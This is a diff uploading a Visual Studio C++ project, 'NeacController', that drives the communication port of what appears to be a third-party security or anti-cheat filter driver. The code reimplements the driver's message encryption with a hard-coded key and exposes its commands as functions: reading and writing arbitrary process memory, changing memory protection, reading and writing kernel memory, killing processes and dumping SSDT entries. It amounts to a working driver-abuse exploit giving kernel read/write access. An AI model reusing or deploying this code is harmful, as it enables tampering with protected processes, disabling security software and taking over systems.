Initial Upload
@@ -0,0 +1,31 @@
|
|||||||
|
|
||||||
|
Microsoft Visual Studio Solution File, Format Version 12.00
|
||||||
|
# Visual Studio Version 16
|
||||||
|
VisualStudioVersion = 16.0.32802.440
|
||||||
|
MinimumVisualStudioVersion = 10.0.40219.1
|
||||||
|
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "NeacController", "NeacController\NeacController.vcxproj", "{CBEB2E8A-2DD1-4012-AC5B-80B2F2E14432}"
|
||||||
|
EndProject
|
||||||
|
Global
|
||||||
|
GlobalSection(SolutionConfigurationPlatforms) = preSolution
|
||||||
|
Debug|x64 = Debug|x64
|
||||||
|
Debug|x86 = Debug|x86
|
||||||
|
Release|x64 = Release|x64
|
||||||
|
Release|x86 = Release|x86
|
||||||
|
EndGlobalSection
|
||||||
|
GlobalSection(ProjectConfigurationPlatforms) = postSolution
|
||||||
|
{CBEB2E8A-2DD1-4012-AC5B-80B2F2E14432}.Debug|x64.ActiveCfg = Debug|x64
|
||||||
|
{CBEB2E8A-2DD1-4012-AC5B-80B2F2E14432}.Debug|x64.Build.0 = Debug|x64
|
||||||
|
{CBEB2E8A-2DD1-4012-AC5B-80B2F2E14432}.Debug|x86.ActiveCfg = Debug|Win32
|
||||||
|
{CBEB2E8A-2DD1-4012-AC5B-80B2F2E14432}.Debug|x86.Build.0 = Debug|Win32
|
||||||
|
{CBEB2E8A-2DD1-4012-AC5B-80B2F2E14432}.Release|x64.ActiveCfg = Release|x64
|
||||||
|
{CBEB2E8A-2DD1-4012-AC5B-80B2F2E14432}.Release|x64.Build.0 = Release|x64
|
||||||
|
{CBEB2E8A-2DD1-4012-AC5B-80B2F2E14432}.Release|x86.ActiveCfg = Release|Win32
|
||||||
|
{CBEB2E8A-2DD1-4012-AC5B-80B2F2E14432}.Release|x86.Build.0 = Release|Win32
|
||||||
|
EndGlobalSection
|
||||||
|
GlobalSection(SolutionProperties) = preSolution
|
||||||
|
HideSolutionNode = FALSE
|
||||||
|
EndGlobalSection
|
||||||
|
GlobalSection(ExtensibilityGlobals) = postSolution
|
||||||
|
SolutionGuid = {52461444-2090-44F8-A40C-24A3272C5F1D}
|
||||||
|
EndGlobalSection
|
||||||
|
EndGlobal
|
||||||
@@ -0,0 +1,155 @@
|
|||||||
|
<?xml version="1.0" encoding="utf-8"?>
|
||||||
|
<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||||
|
<ItemGroup Label="ProjectConfigurations">
|
||||||
|
<ProjectConfiguration Include="Debug|Win32">
|
||||||
|
<Configuration>Debug</Configuration>
|
||||||
|
<Platform>Win32</Platform>
|
||||||
|
</ProjectConfiguration>
|
||||||
|
<ProjectConfiguration Include="Release|Win32">
|
||||||
|
<Configuration>Release</Configuration>
|
||||||
|
<Platform>Win32</Platform>
|
||||||
|
</ProjectConfiguration>
|
||||||
|
<ProjectConfiguration Include="Debug|x64">
|
||||||
|
<Configuration>Debug</Configuration>
|
||||||
|
<Platform>x64</Platform>
|
||||||
|
</ProjectConfiguration>
|
||||||
|
<ProjectConfiguration Include="Release|x64">
|
||||||
|
<Configuration>Release</Configuration>
|
||||||
|
<Platform>x64</Platform>
|
||||||
|
</ProjectConfiguration>
|
||||||
|
</ItemGroup>
|
||||||
|
<PropertyGroup Label="Globals">
|
||||||
|
<VCProjectVersion>16.0</VCProjectVersion>
|
||||||
|
<Keyword>Win32Proj</Keyword>
|
||||||
|
<ProjectGuid>{cbeb2e8a-2dd1-4012-ac5b-80b2f2e14432}</ProjectGuid>
|
||||||
|
<RootNamespace>NeacController</RootNamespace>
|
||||||
|
<WindowsTargetPlatformVersion>10.0</WindowsTargetPlatformVersion>
|
||||||
|
</PropertyGroup>
|
||||||
|
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
|
||||||
|
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
|
||||||
|
<ConfigurationType>Application</ConfigurationType>
|
||||||
|
<UseDebugLibraries>true</UseDebugLibraries>
|
||||||
|
<PlatformToolset>v142</PlatformToolset>
|
||||||
|
<CharacterSet>Unicode</CharacterSet>
|
||||||
|
</PropertyGroup>
|
||||||
|
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
|
||||||
|
<ConfigurationType>Application</ConfigurationType>
|
||||||
|
<UseDebugLibraries>false</UseDebugLibraries>
|
||||||
|
<PlatformToolset>v142</PlatformToolset>
|
||||||
|
<WholeProgramOptimization>true</WholeProgramOptimization>
|
||||||
|
<CharacterSet>Unicode</CharacterSet>
|
||||||
|
</PropertyGroup>
|
||||||
|
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
|
||||||
|
<ConfigurationType>Application</ConfigurationType>
|
||||||
|
<UseDebugLibraries>true</UseDebugLibraries>
|
||||||
|
<PlatformToolset>v142</PlatformToolset>
|
||||||
|
<CharacterSet>Unicode</CharacterSet>
|
||||||
|
</PropertyGroup>
|
||||||
|
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
|
||||||
|
<ConfigurationType>Application</ConfigurationType>
|
||||||
|
<UseDebugLibraries>false</UseDebugLibraries>
|
||||||
|
<PlatformToolset>v142</PlatformToolset>
|
||||||
|
<WholeProgramOptimization>true</WholeProgramOptimization>
|
||||||
|
<CharacterSet>Unicode</CharacterSet>
|
||||||
|
</PropertyGroup>
|
||||||
|
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
|
||||||
|
<ImportGroup Label="ExtensionSettings">
|
||||||
|
</ImportGroup>
|
||||||
|
<ImportGroup Label="Shared">
|
||||||
|
</ImportGroup>
|
||||||
|
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||||
|
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||||
|
</ImportGroup>
|
||||||
|
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||||
|
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||||
|
</ImportGroup>
|
||||||
|
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||||
|
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||||
|
</ImportGroup>
|
||||||
|
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||||
|
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||||
|
</ImportGroup>
|
||||||
|
<PropertyGroup Label="UserMacros" />
|
||||||
|
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||||
|
<LinkIncremental>true</LinkIncremental>
|
||||||
|
</PropertyGroup>
|
||||||
|
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||||
|
<LinkIncremental>false</LinkIncremental>
|
||||||
|
</PropertyGroup>
|
||||||
|
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||||
|
<LinkIncremental>true</LinkIncremental>
|
||||||
|
</PropertyGroup>
|
||||||
|
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||||
|
<LinkIncremental>false</LinkIncremental>
|
||||||
|
</PropertyGroup>
|
||||||
|
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||||
|
<ClCompile>
|
||||||
|
<WarningLevel>Level3</WarningLevel>
|
||||||
|
<SDLCheck>true</SDLCheck>
|
||||||
|
<PreprocessorDefinitions>WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||||
|
<ConformanceMode>true</ConformanceMode>
|
||||||
|
</ClCompile>
|
||||||
|
<Link>
|
||||||
|
<SubSystem>Console</SubSystem>
|
||||||
|
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||||
|
</Link>
|
||||||
|
</ItemDefinitionGroup>
|
||||||
|
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||||
|
<ClCompile>
|
||||||
|
<WarningLevel>Level3</WarningLevel>
|
||||||
|
<FunctionLevelLinking>true</FunctionLevelLinking>
|
||||||
|
<IntrinsicFunctions>true</IntrinsicFunctions>
|
||||||
|
<SDLCheck>true</SDLCheck>
|
||||||
|
<PreprocessorDefinitions>WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||||
|
<ConformanceMode>true</ConformanceMode>
|
||||||
|
</ClCompile>
|
||||||
|
<Link>
|
||||||
|
<SubSystem>Console</SubSystem>
|
||||||
|
<EnableCOMDATFolding>true</EnableCOMDATFolding>
|
||||||
|
<OptimizeReferences>true</OptimizeReferences>
|
||||||
|
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||||
|
</Link>
|
||||||
|
</ItemDefinitionGroup>
|
||||||
|
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||||
|
<ClCompile>
|
||||||
|
<WarningLevel>Level3</WarningLevel>
|
||||||
|
<SDLCheck>true</SDLCheck>
|
||||||
|
<PreprocessorDefinitions>_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||||
|
<ConformanceMode>true</ConformanceMode>
|
||||||
|
<RuntimeLibrary>MultiThreadedDebug</RuntimeLibrary>
|
||||||
|
</ClCompile>
|
||||||
|
<Link>
|
||||||
|
<SubSystem>Console</SubSystem>
|
||||||
|
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||||
|
<AdditionalDependencies>fltlib.lib;%(AdditionalDependencies)</AdditionalDependencies>
|
||||||
|
</Link>
|
||||||
|
</ItemDefinitionGroup>
|
||||||
|
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||||
|
<ClCompile>
|
||||||
|
<WarningLevel>Level3</WarningLevel>
|
||||||
|
<FunctionLevelLinking>true</FunctionLevelLinking>
|
||||||
|
<IntrinsicFunctions>true</IntrinsicFunctions>
|
||||||
|
<SDLCheck>true</SDLCheck>
|
||||||
|
<PreprocessorDefinitions>NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||||
|
<ConformanceMode>true</ConformanceMode>
|
||||||
|
</ClCompile>
|
||||||
|
<Link>
|
||||||
|
<SubSystem>Console</SubSystem>
|
||||||
|
<EnableCOMDATFolding>true</EnableCOMDATFolding>
|
||||||
|
<OptimizeReferences>true</OptimizeReferences>
|
||||||
|
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||||
|
</Link>
|
||||||
|
</ItemDefinitionGroup>
|
||||||
|
<ItemGroup>
|
||||||
|
<ClCompile Include="controller.cpp" />
|
||||||
|
<ClCompile Include="main.cpp" />
|
||||||
|
<ClCompile Include="service.cpp" />
|
||||||
|
</ItemGroup>
|
||||||
|
<ItemGroup>
|
||||||
|
<ClInclude Include="controller.h" />
|
||||||
|
<ClInclude Include="service.h" />
|
||||||
|
</ItemGroup>
|
||||||
|
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
|
||||||
|
<ImportGroup Label="ExtensionTargets">
|
||||||
|
</ImportGroup>
|
||||||
|
</Project>
|
||||||
@@ -0,0 +1,36 @@
|
|||||||
|
<?xml version="1.0" encoding="utf-8"?>
|
||||||
|
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||||
|
<ItemGroup>
|
||||||
|
<Filter Include="源文件">
|
||||||
|
<UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
|
||||||
|
<Extensions>cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
|
||||||
|
</Filter>
|
||||||
|
<Filter Include="头文件">
|
||||||
|
<UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
|
||||||
|
<Extensions>h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd</Extensions>
|
||||||
|
</Filter>
|
||||||
|
<Filter Include="资源文件">
|
||||||
|
<UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier>
|
||||||
|
<Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms</Extensions>
|
||||||
|
</Filter>
|
||||||
|
</ItemGroup>
|
||||||
|
<ItemGroup>
|
||||||
|
<ClCompile Include="main.cpp">
|
||||||
|
<Filter>源文件</Filter>
|
||||||
|
</ClCompile>
|
||||||
|
<ClCompile Include="controller.cpp">
|
||||||
|
<Filter>源文件</Filter>
|
||||||
|
</ClCompile>
|
||||||
|
<ClCompile Include="service.cpp">
|
||||||
|
<Filter>源文件</Filter>
|
||||||
|
</ClCompile>
|
||||||
|
</ItemGroup>
|
||||||
|
<ItemGroup>
|
||||||
|
<ClInclude Include="controller.h">
|
||||||
|
<Filter>源文件</Filter>
|
||||||
|
</ClInclude>
|
||||||
|
<ClInclude Include="service.h">
|
||||||
|
<Filter>源文件</Filter>
|
||||||
|
</ClInclude>
|
||||||
|
</ItemGroup>
|
||||||
|
</Project>
|
||||||
@@ -0,0 +1,4 @@
|
|||||||
|
<?xml version="1.0" encoding="utf-8"?>
|
||||||
|
<Project ToolsVersion="Current" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||||
|
<PropertyGroup />
|
||||||
|
</Project>
|
||||||
@@ -0,0 +1,332 @@
|
|||||||
|
#pragma once
|
||||||
|
#include"controller.h"
|
||||||
|
#pragma pack(1)
|
||||||
|
struct NEAC_FILTER_CONNECT {
|
||||||
|
DWORD Magic;
|
||||||
|
DWORD Version;
|
||||||
|
BYTE EncKey[32];
|
||||||
|
};
|
||||||
|
#pragma pack()
|
||||||
|
BYTE Key[33] = "FuckKeenFuckKeenFuckKeenFuckKeen";
|
||||||
|
unsigned char enc_imm[] =
|
||||||
|
{
|
||||||
|
0x7A, 0x54, 0xE5, 0x41, 0x8B, 0xDB, 0xB0, 0x55, 0x7A, 0xBD,
|
||||||
|
0x01, 0xBD, 0x1A, 0x7F, 0x9E, 0x17
|
||||||
|
};
|
||||||
|
void encrypt(unsigned int *buffer, unsigned int idx)
|
||||||
|
{
|
||||||
|
__m128i v2; // xmm0
|
||||||
|
unsigned int *result; // rax
|
||||||
|
int v4; // r9d
|
||||||
|
__m128i v5; // xmm0
|
||||||
|
__m128i v8; // [rsp+20h] [rbp-18h] BYREF
|
||||||
|
|
||||||
|
__m128i imm = _mm_load_si128((__m128i*)enc_imm);
|
||||||
|
__m128i zero;
|
||||||
|
memset(&zero, 0 ,sizeof(__m128i));
|
||||||
|
v2 = _mm_cvtsi32_si128(idx);
|
||||||
|
result = &v8.m128i_u32[3];
|
||||||
|
v8 = _mm_xor_si128(
|
||||||
|
_mm_shuffle_epi32(_mm_shufflelo_epi16(_mm_unpacklo_epi8(v2, v2), 0), 0),
|
||||||
|
imm);
|
||||||
|
v4 = 0;
|
||||||
|
v5 = _mm_cvtsi32_si128(0x4070E1Fu);
|
||||||
|
do
|
||||||
|
{
|
||||||
|
__m128i v6 = _mm_shufflelo_epi16(_mm_unpacklo_epi8(_mm_or_si128(_mm_cvtsi32_si128(*result), v5), zero), 27);
|
||||||
|
v6 = _mm_packus_epi16(v6, v6);
|
||||||
|
*buffer = (*buffer ^ ~idx) ^ v6.m128i_u32[0] ^ idx;
|
||||||
|
++buffer;
|
||||||
|
result = (unsigned int *)((char *)result - 1);
|
||||||
|
v4++;
|
||||||
|
}
|
||||||
|
while ( v4 < 4 );
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
void encode_payload(PBYTE key, PBYTE buffer, SIZE_T size) {
|
||||||
|
for(int i = 0; i < size; i++) {
|
||||||
|
buffer[i] ^= key[i & 31];
|
||||||
|
}
|
||||||
|
unsigned int* ptr = (unsigned int*)buffer;
|
||||||
|
unsigned int v12 = 0;
|
||||||
|
do
|
||||||
|
{
|
||||||
|
encrypt(ptr, v12++);
|
||||||
|
ptr += 4;
|
||||||
|
}
|
||||||
|
while ( v12 < size >> 4 );
|
||||||
|
}
|
||||||
|
|
||||||
|
HANDLE connect_driver() {
|
||||||
|
NEAC_FILTER_CONNECT lpContext;
|
||||||
|
lpContext.Magic = 0x4655434B;
|
||||||
|
lpContext.Version = 8;
|
||||||
|
memcpy(lpContext.EncKey, Key, 32);
|
||||||
|
HANDLE hPort;
|
||||||
|
HRESULT hResult = FilterConnectCommunicationPort(L"\\OWNeacSafePort",
|
||||||
|
FLT_PORT_FLAG_SYNC_HANDLE,
|
||||||
|
&lpContext,
|
||||||
|
40,
|
||||||
|
NULL,
|
||||||
|
&hPort
|
||||||
|
);
|
||||||
|
if(hResult != S_OK || hPort == INVALID_HANDLE_VALUE) {
|
||||||
|
return INVALID_HANDLE_VALUE;
|
||||||
|
}
|
||||||
|
return hPort;
|
||||||
|
}
|
||||||
|
|
||||||
|
#pragma pack(1)
|
||||||
|
struct GET_PROC_BASE_PACKET {
|
||||||
|
BYTE Opcode;
|
||||||
|
DWORD Pid;
|
||||||
|
};
|
||||||
|
#pragma pack()
|
||||||
|
PVOID get_proc_base(HANDLE hPort, DWORD Pid) {
|
||||||
|
const int buffersize = (sizeof(GET_PROC_BASE_PACKET) / 16 + 1) * 16;
|
||||||
|
BYTE buffer[buffersize];
|
||||||
|
GET_PROC_BASE_PACKET *ptr = (GET_PROC_BASE_PACKET *)buffer;
|
||||||
|
ptr->Pid = Pid;
|
||||||
|
ptr->Opcode = 32;
|
||||||
|
encode_payload(Key, buffer, 16);
|
||||||
|
|
||||||
|
BYTE result[16];
|
||||||
|
DWORD out;
|
||||||
|
HRESULT hResult = FilterSendMessage(hPort, buffer, buffersize, result, 16, &out);
|
||||||
|
if(hResult == S_OK) {
|
||||||
|
PVOID *data = (PVOID*)result;
|
||||||
|
return *data;
|
||||||
|
}
|
||||||
|
return NULL;
|
||||||
|
}
|
||||||
|
#pragma pack(1)
|
||||||
|
struct READ_MEMORY_PACKET {
|
||||||
|
BYTE Opcode;
|
||||||
|
DWORD Pid;
|
||||||
|
PVOID Addr;
|
||||||
|
DWORD Size;
|
||||||
|
};
|
||||||
|
#pragma pack()
|
||||||
|
DWORD read_proc_memory(HANDLE hPort, DWORD Pid, PVOID Addr, DWORD Size, PVOID Out) {
|
||||||
|
const int buffersize = (sizeof(READ_MEMORY_PACKET) / 16 + 1) * 16;
|
||||||
|
BYTE buffer[buffersize];
|
||||||
|
READ_MEMORY_PACKET *ptr = (READ_MEMORY_PACKET *)buffer;
|
||||||
|
ptr->Pid = Pid;
|
||||||
|
ptr->Opcode = 9;
|
||||||
|
ptr->Addr = Addr;
|
||||||
|
ptr->Size = Size;
|
||||||
|
encode_payload(Key, buffer, buffersize);
|
||||||
|
|
||||||
|
DWORD out_size;
|
||||||
|
|
||||||
|
HRESULT hResult = FilterSendMessage(hPort, buffer, buffersize, Out, Size, &out_size);
|
||||||
|
if(hResult == S_OK) {
|
||||||
|
return out_size;
|
||||||
|
}
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
#pragma pack(1)
|
||||||
|
struct WRITE_MEMORY_PACKET {
|
||||||
|
BYTE Opcode;
|
||||||
|
DWORD Pid;
|
||||||
|
PVOID Addr;
|
||||||
|
DWORD Size;
|
||||||
|
};
|
||||||
|
#pragma pack()
|
||||||
|
|
||||||
|
DWORD write_proc_memory(HANDLE hPort, DWORD Pid, PVOID Addr, DWORD Size, PVOID In) {
|
||||||
|
const int buffersize = (sizeof(WRITE_MEMORY_PACKET) / 16 + 1) * 16;
|
||||||
|
BYTE buffer[buffersize];
|
||||||
|
WRITE_MEMORY_PACKET *ptr = (WRITE_MEMORY_PACKET *)buffer;
|
||||||
|
ptr->Pid = Pid;
|
||||||
|
ptr->Opcode = 61;
|
||||||
|
ptr->Addr = Addr;
|
||||||
|
ptr->Size = Size;
|
||||||
|
encode_payload(Key, buffer, buffersize);
|
||||||
|
|
||||||
|
DWORD out_size;
|
||||||
|
|
||||||
|
HRESULT hResult = FilterSendMessage(hPort, buffer, buffersize, In, Size, &out_size);
|
||||||
|
if(hResult == S_OK) {
|
||||||
|
return out_size;
|
||||||
|
}
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
#pragma pack(1)
|
||||||
|
struct PROTECT_MEMORY_PACKET {
|
||||||
|
BYTE Opcode;
|
||||||
|
DWORD Pid;
|
||||||
|
PVOID Addr;
|
||||||
|
DWORD Size;
|
||||||
|
DWORD NewProtect;
|
||||||
|
};
|
||||||
|
#pragma pack()
|
||||||
|
|
||||||
|
BOOL protect_memory(HANDLE hPort, DWORD Pid, PVOID Addr, DWORD Size, DWORD NewProtect) {
|
||||||
|
const int buffersize = (sizeof(PROTECT_MEMORY_PACKET) / 16 + 1) * 16;
|
||||||
|
BYTE buffer[buffersize];
|
||||||
|
PROTECT_MEMORY_PACKET *ptr = (PROTECT_MEMORY_PACKET *)buffer;
|
||||||
|
ptr->Pid = Pid;
|
||||||
|
ptr->Opcode = 60;
|
||||||
|
ptr->Addr = Addr;
|
||||||
|
ptr->Size = Size;
|
||||||
|
ptr->NewProtect = NewProtect;
|
||||||
|
encode_payload(Key, buffer, buffersize);
|
||||||
|
|
||||||
|
DWORD out_size;
|
||||||
|
|
||||||
|
HRESULT hResult = FilterSendMessage(hPort, buffer, buffersize, NULL, NULL, &out_size);
|
||||||
|
if(hResult == S_OK) {
|
||||||
|
return TRUE;
|
||||||
|
}
|
||||||
|
return FALSE;
|
||||||
|
}
|
||||||
|
#pragma pack(1)
|
||||||
|
struct START_WATCH_PACKET {
|
||||||
|
BYTE Opcode;
|
||||||
|
BYTE FunctionId;
|
||||||
|
BYTE State;
|
||||||
|
};
|
||||||
|
#pragma pack()
|
||||||
|
|
||||||
|
BOOL update_state(HANDLE hPort, BYTE FunctionId, BYTE State) {
|
||||||
|
const int buffersize = (sizeof(START_WATCH_PACKET) / 16 + 1) * 16;
|
||||||
|
BYTE buffer[buffersize];
|
||||||
|
START_WATCH_PACKET *ptr = (START_WATCH_PACKET *)buffer;
|
||||||
|
ptr->Opcode = 1;
|
||||||
|
ptr->FunctionId = FunctionId;
|
||||||
|
ptr->State = State;
|
||||||
|
encode_payload(Key, buffer, buffersize);
|
||||||
|
|
||||||
|
DWORD out_size;
|
||||||
|
|
||||||
|
HRESULT hResult = FilterSendMessage(hPort, buffer, buffersize, NULL, NULL, &out_size);
|
||||||
|
if(hResult == S_OK) {
|
||||||
|
return TRUE;
|
||||||
|
}
|
||||||
|
return FALSE;
|
||||||
|
}
|
||||||
|
|
||||||
|
#pragma pack(1)
|
||||||
|
struct KERNEL_WRITE_PACKET {
|
||||||
|
BYTE Opcode;
|
||||||
|
PVOID Dst;
|
||||||
|
PVOID Src;
|
||||||
|
DWORD Size;
|
||||||
|
};
|
||||||
|
#pragma pack()
|
||||||
|
|
||||||
|
BOOL kernel_write_data(HANDLE hPort, PVOID Dst, PVOID Src, DWORD Size) {
|
||||||
|
const int buffersize = (sizeof(KERNEL_WRITE_PACKET) / 16 + 1) * 16;
|
||||||
|
BYTE buffer[buffersize];
|
||||||
|
KERNEL_WRITE_PACKET *ptr = (KERNEL_WRITE_PACKET *)buffer;
|
||||||
|
ptr->Opcode = 70;
|
||||||
|
ptr->Dst = Dst;
|
||||||
|
ptr->Src = Src;
|
||||||
|
ptr->Size = Size;
|
||||||
|
encode_payload(Key, buffer, buffersize);
|
||||||
|
|
||||||
|
DWORD out_size;
|
||||||
|
|
||||||
|
HRESULT hResult = FilterSendMessage(hPort, buffer, buffersize, NULL, NULL, &out_size);
|
||||||
|
if(hResult == S_OK) {
|
||||||
|
return TRUE;
|
||||||
|
}
|
||||||
|
return FALSE;
|
||||||
|
}
|
||||||
|
|
||||||
|
#pragma pack(1)
|
||||||
|
struct KERNEL_READ_PACKET {
|
||||||
|
BYTE Opcode;
|
||||||
|
PVOID Src;
|
||||||
|
DWORD Size;
|
||||||
|
};
|
||||||
|
#pragma pack()
|
||||||
|
|
||||||
|
BOOL kernel_read_data(HANDLE hPort, PVOID Dst, PVOID Src, DWORD Size) {
|
||||||
|
const int buffersize = (sizeof(KERNEL_READ_PACKET) / 16 + 1) * 16;
|
||||||
|
BYTE buffer[buffersize];
|
||||||
|
KERNEL_READ_PACKET *ptr = (KERNEL_READ_PACKET *)buffer;
|
||||||
|
ptr->Opcode = 14;
|
||||||
|
ptr->Src = Src;
|
||||||
|
ptr->Size = Size;
|
||||||
|
encode_payload(Key, buffer, buffersize);
|
||||||
|
|
||||||
|
DWORD out_size;
|
||||||
|
HRESULT hResult = FilterSendMessage(hPort, buffer, buffersize, Dst, Size, &out_size);
|
||||||
|
if(hResult == S_OK) {
|
||||||
|
return TRUE;
|
||||||
|
}
|
||||||
|
return FALSE;
|
||||||
|
}
|
||||||
|
|
||||||
|
#pragma pack(1)
|
||||||
|
struct KILL_PROCESS_PACKET {
|
||||||
|
BYTE Opcode;
|
||||||
|
DWORD Pid;
|
||||||
|
};
|
||||||
|
#pragma pack()
|
||||||
|
|
||||||
|
BOOL kill_process(HANDLE hPort, DWORD Pid) {
|
||||||
|
const int buffersize = (sizeof(KILL_PROCESS_PACKET) / 16 + 1) * 16;
|
||||||
|
BYTE buffer[buffersize];
|
||||||
|
KILL_PROCESS_PACKET *ptr = (KILL_PROCESS_PACKET *)buffer;
|
||||||
|
ptr->Opcode = 20;
|
||||||
|
ptr->Pid = Pid;
|
||||||
|
encode_payload(Key, buffer, buffersize);
|
||||||
|
|
||||||
|
DWORD out_size;
|
||||||
|
HRESULT hResult = FilterSendMessage(hPort, buffer, buffersize, NULL, NULL, &out_size);
|
||||||
|
if(hResult == S_OK) {
|
||||||
|
return TRUE;
|
||||||
|
}
|
||||||
|
return FALSE;
|
||||||
|
}
|
||||||
|
|
||||||
|
#pragma pack(1)
|
||||||
|
struct GET_SSDT_PACKET {
|
||||||
|
BYTE Opcode;
|
||||||
|
};
|
||||||
|
#pragma pack()
|
||||||
|
|
||||||
|
BOOL get_ssdt_items(HANDLE hPort, PVOID Out, DWORD Size) {
|
||||||
|
const int buffersize = (sizeof(GET_SSDT_PACKET) / 16 + 1) * 16;
|
||||||
|
BYTE buffer[buffersize];
|
||||||
|
GET_SSDT_PACKET *ptr = (GET_SSDT_PACKET *)buffer;
|
||||||
|
ptr->Opcode = 12;
|
||||||
|
encode_payload(Key, buffer, buffersize);
|
||||||
|
|
||||||
|
DWORD out_size;
|
||||||
|
HRESULT hResult = FilterSendMessage(hPort, buffer, buffersize, Out, Size, &out_size);
|
||||||
|
|
||||||
|
if(hResult == S_OK) {
|
||||||
|
return TRUE;
|
||||||
|
}
|
||||||
|
return FALSE;
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
#pragma pack(1)
|
||||||
|
struct NOTIFY_MESSAGE_BASE {
|
||||||
|
FILTER_MESSAGE_HEADER Header;
|
||||||
|
BYTE NotifyType;
|
||||||
|
DWORD MessageSize;
|
||||||
|
DWORD64 Time;
|
||||||
|
};
|
||||||
|
struct PROCESS_NOTIFY_MESSAGE : NOTIFY_MESSAGE_BASE {
|
||||||
|
DWORD64 Counter;
|
||||||
|
BYTE Flag;
|
||||||
|
BYTE CreateFlag;
|
||||||
|
DWORD CurrentPid;
|
||||||
|
DWORD CurrentTid;
|
||||||
|
DWORD ParentPid;
|
||||||
|
BYTE Padding[13];
|
||||||
|
WCHAR ProcName1[512];
|
||||||
|
WCHAR ProcName2[512];
|
||||||
|
PVOID BackTrace[32];
|
||||||
|
};
|
||||||
|
#pragma pack()
|
||||||
@@ -0,0 +1,24 @@
|
|||||||
|
#pragma once
|
||||||
|
#include<Windows.h>
|
||||||
|
#include<fltuser.h>
|
||||||
|
#include<emmintrin.h>
|
||||||
|
#include<winnt.h>
|
||||||
|
HANDLE connect_driver();
|
||||||
|
|
||||||
|
PVOID get_proc_base(HANDLE hPort, DWORD Pid);
|
||||||
|
|
||||||
|
DWORD read_proc_memory(HANDLE hPort, DWORD Pid, PVOID Addr, DWORD Size, PVOID Out);
|
||||||
|
|
||||||
|
DWORD write_proc_memory(HANDLE hPort, DWORD Pid, PVOID Addr, DWORD Size, PVOID In);
|
||||||
|
|
||||||
|
BOOL protect_memory(HANDLE hPort, DWORD Pid, PVOID Addr, DWORD Size, DWORD NewProtect);
|
||||||
|
|
||||||
|
BOOL update_state(HANDLE hPort, BYTE FunctionId, BYTE State);
|
||||||
|
|
||||||
|
BOOL kernel_write_data(HANDLE hPort, PVOID Dst, PVOID Src, DWORD Size);
|
||||||
|
|
||||||
|
BOOL kernel_read_data(HANDLE hPort, PVOID Dst, PVOID Src, DWORD Size);
|
||||||
|
|
||||||
|
BOOL kill_process(HANDLE hPort, DWORD Pid);
|
||||||
|
|
||||||
|
BOOL get_ssdt_items(HANDLE hPort, PVOID Out, DWORD Size);
|
||||||
